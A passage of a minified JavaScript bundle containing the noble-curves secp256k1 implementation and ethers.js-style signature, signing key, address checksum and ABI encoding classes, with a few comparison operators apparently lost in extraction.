subgroup\")}hasEvenY(){const{y:t}=this.toAffine();if(r.isOdd)return!r.isOdd(t);throw new Error(\"Field doesn't support isOdd\")}equals(t){h(t);const{px:e,py:n,pz:A}=this,{px:i,py:o,pz:s}=t,a=r.eql(r.mul(e,s),r.mul(i,A)),c=r.eql(r.mul(n,s),r.mul(o,A));return a&&c}negate(){return new g(this.px,r.neg(this.py),this.pz)}double(){const{a:t,b:n}=e,A=r.mul(n,Hs),{px:i,py:o,pz:s}=this;let a=r.ZERO,c=r.ZERO,h=r.ZERO,u=r.mul(i,i),l=r.mul(o,o),f=r.mul(s,s),p=r.mul(i,o);return p=r.add(p,p),h=r.mul(i,s),h=r.add(h,h),a=r.mul(t,h),c=r.mul(A,f),c=r.add(a,c),a=r.sub(l,c),c=r.add(l,c),c=r.mul(a,c),a=r.mul(p,a),h=r.mul(A,h),f=r.mul(t,f),p=r.sub(u,f),p=r.mul(t,p),p=r.add(p,h),h=r.add(u,u),u=r.add(h,u),u=r.add(u,f),u=r.mul(u,p),c=r.add(c,u),f=r.mul(o,s),f=r.add(f,f),u=r.mul(f,p),a=r.sub(a,u),h=r.mul(f,l),h=r.add(h,h),h=r.add(h,h),new g(a,c,h)}add(t){h(t);const{px:n,py:A,pz:i}=this,{px:o,py:s,pz:a}=t;let c=r.ZERO,u=r.ZERO,l=r.ZERO;const f=e.a,p=r.mul(e.b,Hs);let d=r.mul(n,o),I=r.mul(A,s),y=r.mul(i,a),C=r.add(n,A),m=r.add(o,s);C=r.mul(C,m),m=r.add(d,I),C=r.sub(C,m),m=r.add(n,i);let B=r.add(o,a);return m=r.mul(m,B),B=r.add(d,y),m=r.sub(m,B),B=r.add(A,i),c=r.add(s,a),B=r.mul(B,c),c=r.add(I,y),B=r.sub(B,c),l=r.mul(f,m),c=r.mul(p,y),l=r.add(c,l),c=r.sub(I,l),l=r.add(I,l),u=r.mul(c,l),I=r.add(d,d),I=r.add(I,d),y=r.mul(f,y),m=r.mul(p,m),I=r.add(I,y),y=r.sub(d,y),y=r.mul(f,y),m=r.add(m,y),d=r.mul(I,m),u=r.add(u,d),d=r.mul(B,m),c=r.mul(C,c),c=r.sub(c,d),d=r.mul(C,I),l=r.mul(B,l),l=r.add(l,d),new g(c,u,l)}subtract(t){return this.add(t.negate())}is0(){return this.equals(g.ZERO)}wNAF(t){return l.wNAFCached(this,c,t,(t=>{const e=r.invertBatch(t.map((t=>t.pz)));return t.map(((t,r)=>t.toAffine(e[r]))).map(g.fromAffine)}))}multiplyUnsafe(t){const n=g.ZERO;if(t===Us)return n;if(s(t),t===Gs)return this;const{endo:A}=e;if(!A)return l.unsafeLadder(this,t);let{k1neg:i,k1:o,k2neg:a,k2:c}=A.splitScalar(t),h=n,u=n,f=this;for(;o>Us||c>Us;)o&Gs&&(h=h.add(f)),c&Gs&&(u=u.add(f)),f=f.double(),o>>=Gs,c>>=Gs;return i&&(h=h.negate()),a&&(u=u.negate()),u=new g(r.mul(u.px,A.beta),u.py,u.pz),h.add(u)}multiply(t){s(t);let n,A,i=t;const{endo:o}=e;if(o){const{k1neg:t,k1:e,k2neg:s,k2:a}=o.splitScalar(i);let{p:c,f:h}=this.wNAF(e),{p:u,f:f}=this.wNAF(a);c=l.constTimeNegate(t,c),u=l.constTimeNegate(s,u),u=new g(r.mul(u.px,o.beta),u.py,u.pz),n=c.add(u),A=h.add(f)}else{const{p:t,f:e}=this.wNAF(i);n=t,A=e}return g.normalizeZ([n,A])[0]}multiplyAndAddUnsafe(t,e,r){const n=g.BASE,A=(t,e)=>e!==Us&&e!==Gs&&t.equals(n)?t.multiply(e):t.multiplyUnsafe(e),i=A(this,e).add(A(t,r));return i.is0()?void 0:i}toAffine(t){const{px:e,py:n,pz:A}=this,i=this.is0();null==t&&(t=i?r.ONE:r.inv(A));const o=r.mul(e,t),s=r.mul(n,t),a=r.mul(A,t);if(i)return{x:r.ZERO,y:r.ZERO};if(!r.eql(a,r.ONE))throw new Error(\"invZ was invalid\");return{x:o,y:s}}isTorsionFree(){const{h:t,isTorsionFree:r}=e;if(t===Gs)return!0;if(r)return r(g,this);throw new Error(\"isTorsionFree() has not been declared for the elliptic curve\")}clearCofactor(){const{h:t,clearCofactor:r}=e;return t===Gs?this:r?r(g,this):this.multiplyUnsafe(e.h)}toRawBytes(t=!0){return this.assertValidity(),n(g,this,t)}toHex(t=!0){return $o(this.toRawBytes(t))}}g.BASE=new g(e.Gx,e.Gy,r.ONE),g.ZERO=new g(r.ZERO,r.ONE,r.ZERO);const u=e.nBitLength,l=function(t,e){const r=(t,e)=>{const r=e.negate();return t?r:e},n=t=>({windows:Math.ceil(e/t)+1,windowSize:2**(t-1)});return{constTimeNegate:r,unsafeLadder(e,r){let n=t.ZERO,A=e;for(;r>Ms;)r&xs&&(n=n.add(A)),A=A.double(),r>>=xs;return n},precomputeWindow(t,e){const{windows:r,windowSize:A}=n(e),i=[];let o=t,s=o;for(let t=0;t>=u,n>s&&(n-=g,i+=xs);const o=e,l=e+Math.abs(n)-1,f=t%2!=0,p=n<0;0===n?c=c.add(r(f,A[o])):a=a.add(r(p,A[l]))}return{p:a,f:c}},wNAFCached(t,e,r,n){const A=t._WINDOW_SIZE||1;let i=e.get(t);return i||(i=this.precomputeWindow(t,A),1!==A&&e.set(t,n(i))),this.wNAF(A,i,r)}}}(g,e.endo?Math.ceil(u/2):u);return{CURVE:e,ProjectivePoint:g,normPrivateKeyToScalar:a,weierstrassEquation:i,isWithinCurveOrder:o}}function Os(t){const e=function(t){const e=Fs(t);return fs(e,{hash:\"hash\",hmac:\"function\",randomBytes:\"function\"},{bits2int:\"function\",bits2int_modN:\"function\",lowS:\"boolean\"}),Object.freeze({lowS:!0,...e})}(t),{Fp:r,n:n}=e,A=r.BYTES+1,i=2*r.BYTES+1;function o(t){return ws(t,n)}function s(t){return Qs(t,n)}const{ProjectivePoint:a,normPrivateKeyToScalar:c,weierstrassEquation:h,isWithinCurveOrder:g}=Ls({...e,toBytes(t,e,n){const A=e.toAffine(),i=r.toBytes(A.x),o=as;return n?o(Uint8Array.from([e.hasEvenY()?2:3]),i):o(Uint8Array.from([4]),i,r.toBytes(A.y))},fromBytes(t){const e=t.length,n=t[0],o=t.subarray(1);if(e!==A||2!==n&&3!==n){if(e===i&&4===n){return{x:r.fromBytes(o.subarray(0,r.BYTES)),y:r.fromBytes(o.subarray(r.BYTES,2*r.BYTES))}}throw new Error(`Point of length ${e} was invalid. Expected ${A} compressed bytes or ${i} uncompressed bytes`)}{const t=ns(o);if(!(Us<(s=t)&&s$o(is(t,e.nByteLength));function l(t){return t>n>>Gs}const f=(t,e,r)=>ns(t.slice(e,r));class p{constructor(t,e,r){this.r=t,this.s=e,this.recovery=r,this.assertValidity()}static fromCompact(t){const r=e.nByteLength;return t=ss(\"compactSignature\",t,2*r),new p(f(t,0,r),f(t,r,2*r))}static fromDER(t){const{r:e,s:r}=Rs.toSig(ss(\"DER\",t));return new p(e,r)}assertValidity(){if(!g(this.r))throw new Error(\"r must be 0 < r < CURVE.n\");if(!g(this.s))throw new Error(\"s must be 0 < s < CURVE.n\")}addRecoveryBit(t){return new p(this.r,this.s,t)}recoverPublicKey(t){const{r:n,s:A,recovery:i}=this,c=C(ss(\"msgHash\",t));if(null==i||![0,1,2,3].includes(i))throw new Error(\"recovery id invalid\");const h=2===i||3===i?n+e.n:n;if(h>=r.ORDER)throw new Error(\"recovery id 2 or 3 invalid\");const g=1&i?\"03\":\"02\",l=a.fromHex(g+u(h)),f=s(h),p=o(-c*f),d=o(A*f),I=a.BASE.multiplyAndAddUnsafe(l,p,d);if(!I)throw new Error(\"point at infinify\");return I.assertValidity(),I}hasHighS(){return l(this.s)}normalizeS(){return this.hasHighS()?new p(this.r,o(-this.s),this.recovery):this}toDERRawBytes(){return rs(this.toDERHex())}toDERHex(){return Rs.hexFromSig({r:this.r,s:this.s})}toCompactRawBytes(){return rs(this.toCompactHex())}toCompactHex(){return u(this.r)+u(this.s)}}const d={isValidPrivateKey(t){try{return c(t),!0}catch(t){return!1}},normPrivateKeyToScalar:c,randomPrivateKey:()=>{const t=Ns(e.n);return function(t,e,r=!1){const n=t.length,A=Ss(e),i=Ns(e);if(n<16||n1024)throw new Error(`expected ${i}-1024 bytes of input, got ${n}`);const o=ws(r?ns(t):As(t),e-Is)+Is;return r?os(o,A):is(o,A)}(e.randomBytes(t),e.n)},precompute:(t=8,e=a.BASE)=>(e._setWindowSize(t),e.multiply(BigInt(3)),e)};function I(t){const e=t instanceof Uint8Array,r=\"string\"==typeof t,n=(e||r)&&t.length;return e?n===A||n===i:r?n===2*A||n===2*i:t instanceof a}const y=e.bits2int||function(t){const r=ns(t),n=8*t.length-e.nBitLength;return n>0?r>>BigInt(n):r},C=e.bits2int_modN||function(t){return o(y(t))},m=cs(e.nBitLength);function B(t){if(\"bigint\"!=typeof t)throw new Error(\"bigint expected\");if(!(Us<=t&&tt in A)))throw new Error(\"sign() legacy options not supported\");const{hash:i,randomBytes:h}=e;let{lowS:u,prehash:f,extraEntropy:d}=A;null==u&&(u=!0),t=ss(\"msgHash\",t),f&&(t=ss(\"prehashed msgHash\",i(t)));const I=C(t),m=c(n),E=[B(m),B(I)];if(null!=d){const t=!0===d?h(r.BYTES):d;E.push(ss(\"extraEntropy\",t))}const v=as(...E),_=I;return{seed:v,k2sig:function(t){const e=y(t);if(!g(e))return;const r=s(e),n=a.BASE.multiply(e).toAffine(),A=o(n.x);if(A===Us)return;const i=o(r*o(_+A*m));if(i===Us)return;let c=(n.x===A?0:2)|Number(n.y&Gs),h=i;return u&&l(i)&&(h=function(t){return l(t)?o(-t):t}(i),c^=1),new p(A,h,c)}}}const w={lowS:e.lowS,prehash:!1},v={lowS:e.lowS,prehash:!1};return a.BASE._setWindowSize(8),{CURVE:e,getPublicKey:function(t,e=!0){return a.fromPrivateKey(t).toRawBytes(e)},getSharedSecret:function(t,e,r=!0){if(I(t))throw new Error(\"first arg must be private key\");if(!I(e))throw new Error(\"second arg must be public key\");return a.fromHex(e).multiply(c(t)).toRawBytes(r)},sign:function(t,r,n=w){const{seed:A,k2sig:i}=E(t,r,n),o=e;return us(o.hash.outputLen,o.nByteLength,o.hmac)(A,i)},verify:function(t,r,n,A=v){const i=t;if(r=ss(\"msgHash\",r),n=ss(\"publicKey\",n),\"strict\"in A)throw new Error(\"options.strict was renamed to lowS\");const{lowS:c,prehash:h}=A;let g,u;try{if(\"string\"==typeof i||i instanceof Uint8Array)try{g=p.fromDER(i)}catch(t){if(!(t instanceof Rs.Err))throw t;g=p.fromCompact(i)}else{if(\"object\"!=typeof i||\"bigint\"!=typeof i.r||\"bigint\"!=typeof i.s)throw new Error(\"PARSE\");{const{r:t,s:e}=i;g=new p(t,e)}}u=a.fromHex(n)}catch(t){if(\"PARSE\"===t.message)throw new Error(\"signature must be Signature instance, Uint8Array or hex string\");return!1}if(c&&g.hasHighS())return!1;h&&(r=e.hash(r));const{r:l,s:f}=g,d=C(r),I=s(f),y=o(d*I),m=o(l*I),B=a.BASE.multiplyAndAddUnsafe(u,y,m)?.toAffine();return!!B&&o(B.x)===l},ProjectivePoint:a,Signature:p,utils:d}}\n/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */function Ys(t){return{hash:t,hmac:(e,...r)=>si(t,e,function(...t){const e=new Uint8Array(t.reduce(((t,e)=>t+e.length),0));let r=0;return t.forEach((t=>{if(!qA(t))throw new Error(\"Uint8Array expected\");e.set(t,r),r+=t.length})),e}(...r)),randomBytes:ii}}BigInt(4);\n/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */\nconst Ks=BigInt(\"0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f\"),Js=BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\"),js=BigInt(1),zs=BigInt(2),qs=(t,e)=>(t+e/zs)/e;const Xs=function(t,e,r=!1,n={}){if(t<=ds)throw new Error(`Expected Field ORDER > 0, got ${t}`);const{nBitLength:A,nByteLength:i}=Ds(t,e);if(i>2048)throw new Error(\"Field lengths over 2048 bytes are not supported\");const o=bs(t),s=Object.freeze({ORDER:t,BITS:A,BYTES:i,MASK:cs(A),ZERO:ds,ONE:Is,create:e=>ws(e,t),isValid:e=>{if(\"bigint\"!=typeof e)throw new Error(\"Invalid field element: expected bigint, got \"+typeof e);return ds<=e&&et===ds,isOdd:t=>(t&Is)===Is,neg:e=>ws(-e,t),eql:(t,e)=>t===e,sqr:e=>ws(e*e,t),add:(e,r)=>ws(e+r,t),sub:(e,r)=>ws(e-r,t),mul:(e,r)=>ws(e*r,t),pow:(t,e)=>function(t,e,r){if(r 0\");if(r===ds)return t.ONE;if(r===Is)return e;let n=t.ONE,A=e;for(;r>ds;)r&Is&&(n=t.mul(n,A)),A=t.sqr(A),r>>=Is;return n}(s,t,e),div:(e,r)=>ws(e*Qs(r,t),t),sqrN:t=>t*t,addN:(t,e)=>t+e,subN:(t,e)=>t-e,mulN:(t,e)=>t*e,inv:e=>Qs(e,t),sqrt:n.sqrt||(t=>o(s,t)),invertBatch:t=>function(t,e){const r=new Array(e.length),n=e.reduce(((e,n,A)=>t.is0(n)?e:(r[A]=e,t.mul(e,n))),t.ONE),A=t.inv(n);return e.reduceRight(((e,n,A)=>t.is0(n)?e:(r[A]=t.mul(e,r[A]),t.mul(e,n))),A),r}(s,t),cmov:(t,e,r)=>r?e:t,toBytes:t=>r?os(t,i):is(t,i),fromBytes:t=>{if(t.length!==i)throw new Error(`Fp.fromBytes: expected ${i}, got ${t.length}`);return r?As(t):ns(t)}});return Object.freeze(s)}(Ks,void 0,void 0,{sqrt:function(t){const e=Ks,r=BigInt(3),n=BigInt(6),A=BigInt(11),i=BigInt(22),o=BigInt(23),s=BigInt(44),a=BigInt(88),c=t*t*t%e,h=c*c*t%e,g=_s(h,r,e)*h%e,u=_s(g,r,e)*h%e,l=_s(u,zs,e)*c%e,f=_s(l,A,e)*l%e,p=_s(f,i,e)*f%e,d=_s(p,s,e)*p%e,I=_s(d,a,e)*d%e,y=_s(I,s,e)*p%e,C=_s(y,r,e)*h%e,m=_s(C,o,e)*f%e,B=_s(m,n,e)*c%e,E=_s(B,zs,e);if(!Xs.eql(Xs.sqr(E),t))throw new Error(\"Cannot find square root\");return E}}),Vs=function(t,e){const r=e=>Os({...t,...Ys(e)});return Object.freeze({...r(e),create:r})}({a:BigInt(0),b:BigInt(7),Fp:Xs,n:Js,Gx:BigInt(\"55066263022277343669578718895168534326250603453777594175500187360389116729240\"),Gy:BigInt(\"32670510020758816978083085130507043184471273380659243275938904335757337482424\"),h:BigInt(1),lowS:!0,endo:{beta:BigInt(\"0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee\"),splitScalar:t=>{const e=Js,r=BigInt(\"0x3086d221a7d46bcde86c90e49284eb15\"),n=-js*BigInt(\"0xe4437ed6010e88286f547fa90abfe4c3\"),A=BigInt(\"0x114ca50f7a8e2f3f657c1108d9d44cfd8\"),i=r,o=BigInt(\"0x100000000000000000000000000000000\"),s=qs(i*t,e),a=qs(-n*t,e);let c=ws(t-s*r-a*A,e),h=ws(-s*n-a*i,e);const g=c>o,u=h>o;if(g&&(c=e-c),u&&(h=e-h),c>o||h>o)throw new Error(\"splitScalar: Endomorphism failed, k=\"+t);return{k1neg:g,k1:c,k2neg:u,k2:h}}}},Ii);BigInt(0),Vs.ProjectivePoint;const Ws=\"0x0000000000000000000000000000000000000000\",Zs=\"0x0000000000000000000000000000000000000000000000000000000000000000\";BigInt(\"0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141\"),BigInt(\"1000000000000000000\"),BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"),BigInt(\"0x8000000000000000000000000000000000000000000000000000000000000000\"),BigInt(-1);const $s=BigInt(\"0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"),ta=BigInt(0),ea=BigInt(1),ra=BigInt(2),na=BigInt(27),Aa=BigInt(28),ia=BigInt(35),oa={};function sa(t){return Hn($n(t),32)}let aa=class t{#m;#B;#E;#w;get r(){return this.#m}set r(t){vn(32===Rn(t),\"invalid r\",\"value\",t),this.#m=Pn(t)}get s(){return this.#B}set s(t){vn(32===Rn(t),\"invalid s\",\"value\",t);const e=Pn(t);vn(parseInt(e.substring(0,3))<8,\"non-canonical s\",\"value\",e),this.#B=e}get v(){return this.#E}set v(t){const e=Wn(t,\"value\");vn(27===e||28===e,\"invalid v\",\"v\",t),this.#E=e}get networkV(){return this.#w}get legacyChainId(){const e=this.networkV;return null==e?null:t.getChainId(e)}get yParity(){return 27===this.v?0:1}get yParityAndS(){const t=Sn(this.s);return this.yParity&&(t[0]|=128),Pn(t)}get compactSerialized(){return Tn([this.r,this.yParityAndS])}get serialized(){return Tn([this.r,this.s,this.yParity?\"0x1c\":\"0x1b\"])}constructor(t,e,r,n){kn(t,oa,\"Signature\"),this.#m=e,this.#B=r,this.#E=n,this.#w=null}[Symbol.for(\"nodejs.util.inspect.custom\")](){return`Signature { r: \"${this.r}\", s: \"${this.s}\", yParity: ${this.yParity}, networkV: ${this.networkV} }`}clone(){const e=new t(oa,this.r,this.s,this.v);return this.networkV&&(e.#w=this.networkV),e}toJSON(){const t=this.networkV;return{_type:\"signature\",networkV:null!=t?t.toString():null,r:this.r,s:this.s,v:this.v}}static getChainId(t){const e=zn(t,\"v\");return e==na||e==Aa?ta:(vn(e>=ia,\"invalid EIP-155 v\",\"v\",t),(e-ia)/ra)}static getChainIdV(t,e){return zn(t)*ra+BigInt(35+e-27)}static getNormalizedV(t){const e=zn(t);return e===ta||e===na?27:e===ea||e===Aa?28:(vn(e>=ia,\"invalid v\",\"v\",t),e&ea?27:28)}static from(e){function r(t,r){vn(t,r,\"signature\",e)}if(null==e)return new t(oa,Zs,Zs,27);if(\"string\"==typeof e){const n=Sn(e,\"signature\");if(64===n.length){const e=Pn(n.slice(0,32)),r=n.slice(32,64),A=128&r[0]?28:27;return r[0]&=127,new t(oa,e,Pn(r),A)}if(65===n.length){const e=Pn(n.slice(0,32)),A=n.slice(32,64);r(!(128&A[0]),\"non-canonical s\");const i=t.getNormalizedV(n[64]);return new t(oa,e,Pn(A),i)}r(!1,\"invalid raw signature length\")}if(e instanceof t)return e.clone();const n=e.r;r(null!=n,\"missing r\");const A=sa(n),i=function(t,e){if(null!=t)return sa(t);if(null!=e){r(Mn(e,32),\"invalid yParityAndS\");const t=Sn(e);return t[0]&=127,Pn(t)}r(!1,\"missing s\")}(e.s,e.yParityAndS);r(!(128&Sn(i)[0]),\"non-canonical s\");const{networkV:o,v:s}=function(e,n,A){if(null!=e){const r=zn(e);return{networkV:r>=ia?r:void 0,v:t.getNormalizedV(r)}}if(null!=n)return r(Mn(n,32),\"invalid yParityAndS\"),{v:128&Sn(n)[0]?28:27};if(null!=A){switch(Wn(A,\"sig.yParity\")){case 0:return{v:27};case 1:return{v:28}}r(!1,\"invalid yParity\")}r(!1,\"missing v\")}(e.v,e.yParityAndS,e.yParity),a=new t(oa,A,i,s);return o&&(a.#w=o),r(null==e.yParity||Wn(e.yParity,\"sig.yParity\")===a.yParity,\"yParity mismatch\"),r(null==e.yParityAndS||e.yParityAndS===a.yParityAndS,\"yParityAndS mismatch\"),a}},ca=class t{#v;constructor(t){vn(32===Rn(t),\"invalid private key\",\"privateKey\",\"[REDACTED]\"),this.#v=Pn(t)}get privateKey(){return this.#v}get publicKey(){return t.computePublicKey(this.#v)}get compressedPublicKey(){return t.computePublicKey(this.#v,!0)}sign(t){vn(32===Rn(t),\"invalid digest length\",\"digest\",t);const e=Vs.sign(Nn(t),Nn(this.#v),{lowS:!0});return aa.from({r:Zn(e.r,32),s:Zn(e.s,32),v:e.recovery?28:27})}computeSharedSecret(e){const r=t.computePublicKey(e);return Pn(Vs.getSharedSecret(Nn(this.#v),Sn(r),!1))}static computePublicKey(t,e){let r=Sn(t,\"key\");if(32===r.length){return Pn(Vs.getPublicKey(r,!!e))}if(64===r.length){const t=new Uint8Array(65);t[0]=4,t.set(r,1),r=t}return Pn(Vs.ProjectivePoint.fromHex(r).toRawBytes(e))}static recoverPublicKey(t,e){vn(32===Rn(t),\"invalid digest length\",\"digest\",t);const r=aa.from(e);let n=Vs.Signature.fromCompact(Nn(Tn([r.r,r.s])));n=n.addRecoveryBit(r.yParity);const A=n.recoverPublicKey(Nn(t));return vn(null!=A,\"invalid signautre for digest\",\"signature\",e),\"0x\"+A.toHex(!1)}static addPoints(e,r,n){const A=Vs.ProjectivePoint.fromHex(t.computePublicKey(e).substring(2)),i=Vs.ProjectivePoint.fromHex(t.computePublicKey(r).substring(2));return\"0x\"+A.add(i).toHex(!!n)}};const ha=BigInt(0),ga=BigInt(36);function ua(t){const e=(t=t.toLowerCase()).substring(2).split(\"\"),r=new Uint8Array(40);for(let t=0;t<40;t++)r[t]=e[t].charCodeAt(0);const n=Sn(no(r));for(let t=0;t<40;t+=2)n[t>>1]>>4>=8&&(e[t]=e[t].toUpperCase()),(15&n[t>>1])>=8&&(e[t+1]=e[t+1].toUpperCase());return\"0x\"+e.join(\"\")}const la={};for(let t=0;t<10;t++)la[String(t)]=String(t);for(let t=0;t<26;t++)la[String.fromCharCode(65+t)]=String(10+t);const fa=15;const pa=function(){const t={};for(let e=0;e<36;e++){t[\"0123456789abcdefghijklmnopqrstuvwxyz\"[e]]=BigInt(e)}return t}();function da(t){if(vn(\"string\"==typeof t,\"invalid address\",\"address\",t),t.match(/^(0x)?[0-9a-fA-F]{40}$/)){t.startsWith(\"0x\")||(t=\"0x\"+t);const e=ua(t);return vn(!t.match(/([A-F].*[a-f])|([a-f].*[A-F])/)||e===t,\"bad address checksum\",\"address\",t),e}if(t.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)){vn(t.substring(2,4)===function(t){let e=(t=(t=t.toUpperCase()).substring(4)+t.substring(0,2)+\"00\").split(\"\").map((t=>la[t])).join(\"\");for(;e.length>=fa;){let t=e.substring(0,fa);e=parseInt(t,10)%97+e.substring(t.length)}let r=String(98-parseInt(e,10)%97);for(;r.length<2;)r=\"0\"+r;return r}(t),\"bad icap checksum\",\"address\",t);let e=function(t){t=t.toLowerCase();let e=ha;for(let r=0;rt.format())).join(\",\")})`:this.type}defaultValue(){return 0}minValue(){return 0}maxValue(){return 0}isBigInt(){return!!this.type.match(/^u?int[0-9]+$/)}isData(){return this.type.startsWith(\"bytes\")}isString(){return\"string\"===this.type}get tupleName(){if(\"tuple\"!==this.type)throw TypeError(\"not a tuple\");return this.#_}get arrayLength(){if(\"array\"!==this.type)throw TypeError(\"not an array\");return!0===this.#_?-1:!1===this.#_?this.value.length:null}static from(t,e){return new va(ma,t,e)}static uint8(t){return Ba(t,8)}static uint16(t){return Ba(t,16)}static uint24(t){return Ba(t,24)}static uint32(t){return Ba(t,32)}static uint40(t){return Ba(t,40)}static uint48(t){return Ba(t,48)}static uint56(t){return Ba(t,56)}static uint64(t){return Ba(t,64)}static uint72(t){return Ba(t,72)}static uint80(t){return Ba(t,80)}static uint88(t){return Ba(t,88)}static uint96(t){return Ba(t,96)}static uint104(t){return Ba(t,104)}static uint112(t){return Ba(t,112)}static uint120(t){return Ba(t,120)}static uint128(t){return Ba(t,128)}static uint136(t){return Ba(t,136)}static uint144(t){return Ba(t,144)}static uint152(t){return Ba(t,152)}static uint160(t){return Ba(t,160)}static uint168(t){return Ba(t,168)}static uint176(t){return Ba(t,176)}static uint184(t){return Ba(t,184)}static uint192(t){return Ba(t,192)}static uint200(t){return Ba(t,200)}static uint208(t){return Ba(t,208)}static uint216(t){return Ba(t,216)}static uint224(t){return Ba(t,224)}static uint232(t){return Ba(t,232)}static uint240(t){return Ba(t,240)}static uint248(t){return Ba(t,248)}static uint256(t){return Ba(t,256)}static uint(t){return Ba(t,256)}static int8(t){return Ba(t,-8)}static int16(t){return Ba(t,-16)}static int24(t){return Ba(t,-24)}static int32(t){return Ba(t,-32)}static int40(t){return Ba(t,-40)}static int48(t){return Ba(t,-48)}static int56(t){return Ba(t,-56)}static int64(t){return Ba(t,-64)}static int72(t){return Ba(t,-72)}static int80(t){return Ba(t,-80)}static int88(t){return Ba(t,-88)}static int96(t){return Ba(t,-96)}static int104(t){return Ba(t,-104)}static int112(t){return Ba(t,-112)}static int120(t){return Ba(t,-120)}static int128(t){return Ba(t,-128)}static int136(t){return Ba(t,-136)}static int144(t){return Ba(t,-144)}static int152(t){return Ba(t,-152)}static int160(t){return Ba(t,-160)}static int168(t){return Ba(t,-168)}static int176(t){return Ba(t,-176)}static int184(t){return Ba(t,-184)}static int192(t){return Ba(t,-192)}static int200(t){return Ba(t,-200)}static int208(t){return Ba(t,-208)}static int216(t){return Ba(t,-216)}static int224(t){return Ba(t,-224)}static int232(t){return Ba(t,-232)}static int240(t){return Ba(t,-240)}static int248(t){return Ba(t,-248)}static int256(t){return Ba(t,-256)}static int(t){return Ba(t,-256)}static bytes1(t){return Ea(t,1)}static bytes2(t){return Ea(t,2)}static bytes3(t){return Ea(t,3)}static bytes4(t){return Ea(t,4)}static bytes5(t){return Ea(t,5)}static bytes6(t){return Ea(t,6)}static bytes7(t){return Ea(t,7)}static bytes8(t){return Ea(t,8)}static bytes9(t){return Ea(t,9)}static bytes10(t){return Ea(t,10)}static bytes11(t){return Ea(t,11)}static bytes12(t){return Ea(t,12)}static bytes13(t){return Ea(t,13)}static bytes14(t){return Ea(t,14)}static bytes15(t){return Ea(t,15)}static bytes16(t){return Ea(t,16)}static bytes17(t){return Ea(t,17)}static bytes18(t){return Ea(t,18)}static bytes19(t){return Ea(t,19)}static bytes20(t){return Ea(t,20)}static bytes21(t){return Ea(t,21)}static bytes22(t){return Ea(t,22)}static bytes23(t){return Ea(t,23)}static bytes24(t){return Ea(t,24)}static bytes25(t){return Ea(t,25)}static bytes26(t){return Ea(t,26)}static bytes27(t){return Ea(t,27)}static bytes28(t){return Ea(t,28)}static bytes29(t){return Ea(t,29)}static bytes30(t){return Ea(t,30)}static bytes31(t){return Ea(t,31)}static bytes32(t){return Ea(t,32)}static address(t){return new va(ma,\"address\",t)}static bool(t){return new va(ma,\"bool\",!!t)}static bytes(t){return new va(ma,\"bytes\",t)}static string(t){return new va(ma,\"string\",t)}static array(t,e){throw new Error(\"not implemented yet\")}static tuple(t,e){throw new Error(\"not implemented yet\")}static overrides(t){return new va(ma,\"overrides\",Object.assign({},t))}static isTyped(t){return t&&\"object\"==typeof t&&\"_typedSymbol\"in t&&t._typedSymbol===wa}static dereference(t,e){if(va.isTyped(t)){if(t.type!==e)throw new Error(`invalid type: expecetd ${e}, got ${t.type}`);return t.value}return t}}class _a extends GA{constructor(t){super(\"address\",\"address\",t,!1)}defaultValue(){return\"0x0000000000000000000000000000000000000000\"}encode(t,e){let r=va.dereference(e,\"string\");try{r=da(r)}catch(t){return this._throwError(t.message,e)}return t.writeValue(r)}decode(t){return da(Zn(t.readValue(),20))}}class Qa extends GA{coder;constructor(t){super(t.name,t.type,\"_\",t.dynamic),this.coder=t}defaultValue(){return this.coder.defaultValue()}encode(t,e){return this.coder.encode(t,e)}decode(t){return this.coder.decode(t)}}function ba(t,e,r){let n=[];if(Array.isArray(r))n=r;else if(r&&\"object\"==typeof r){let t={};n=e.map((e=>{const n=e.localName;return wn(n,\"cannot encode object for signature with missing names\",\"INVALID_ARGUMENT\",{argument:\"values\",info:{coder:e},value:r}),wn(!t[n],\"cannot encode object for signature with duplicate names\",\"INVALID_ARGUMENT\",{argument:\"values\",info:{coder:e},value:r}),t[n]=!0,r[n]}))}else vn(!1,\"invalid tuple value\",\"tuple\",r);vn(e.length===n.length,\"types/value length mismatch\",\"tuple\",r);let A=new HA,i=new HA,o=[];e.forEach(((t,e)=>{let r=n[e];if(t.dynamic){let e=i.length;t.encode(i,r);let n=A.writeUpdatableValue();o.push((t=>{n(t+e)}))}else t.encode(A,r)})),o.forEach((t=>{t(A.length)}));let s=t.appendWriter(A);return s+=t.appendWriter(i),s}function ka(t,e){let r=[],n=[],A=t.subReader(0);return e.forEach((e=>{let i=null;if(e.dynamic){let r=t.readIndex(),n=A.subReader(r);try{i=e.decode(n)}catch(t){if(mn(t,\"BUFFER_OVERRUN\"))throw t;i=t,i.baseType=e.name,i.name=e.localName,i.type=e.type}}else try{i=e.decode(t)}catch(t){if(mn(t,\"BUFFER_OVERRUN\"))throw t;i=t,i.baseType=e.name,i.name=e.localName,i.type=e.type}if(null==i)throw new Error(\"investigate\");r.push(i),n.push(e.localName||null)})),RA.fromItems(r,n)}class Da extends GA{coder;length;constructor(t,e,r){super(\"array\",t.type+\"[\"+(e>=0?e:\"\")+\"]\",r,-1===e||t.dynamic),yn(this,{coder:t,length:e})}defaultValue(){const t=this.coder.defaultValue(),e=[];for(let r=0;rt||r<-(t+Ra))&&this._throwError(\"value out-of-bounds\",e),r=Jn(r,256)}else(rjn(n,8*this.size))&&this._throwError(\"value out-of-bounds\",e);return t.writeValue(r)}decode(t){let e=jn(t.readValue(),8*this.size);return this.signed&&(e=Kn(e,8*this.size)),e}}class Ha extends Na{constructor(t){super(\"string\",t)}defaultValue(){return\"\"}encode(t,e){return super.encode(t,aA(va.dereference(e,\"string\")))}decode(t){return cA(super.decode(t))}}class La extends GA{coders;constructor(t,e){let r=!1;const n=[];t.forEach((t=>{t.dynamic&&(r=!0),n.push(t.type)}));super(\"tuple\",\"tuple(\"+n.join(\",\")+\")\",e,r),yn(this,{coders:Object.freeze(t.slice())})}defaultValue(){const t=[];this.coders.forEach((e=>{t.push(e.defaultValue())}));const e=this.coders.reduce(((t,e)=>{const r=e.localName;return 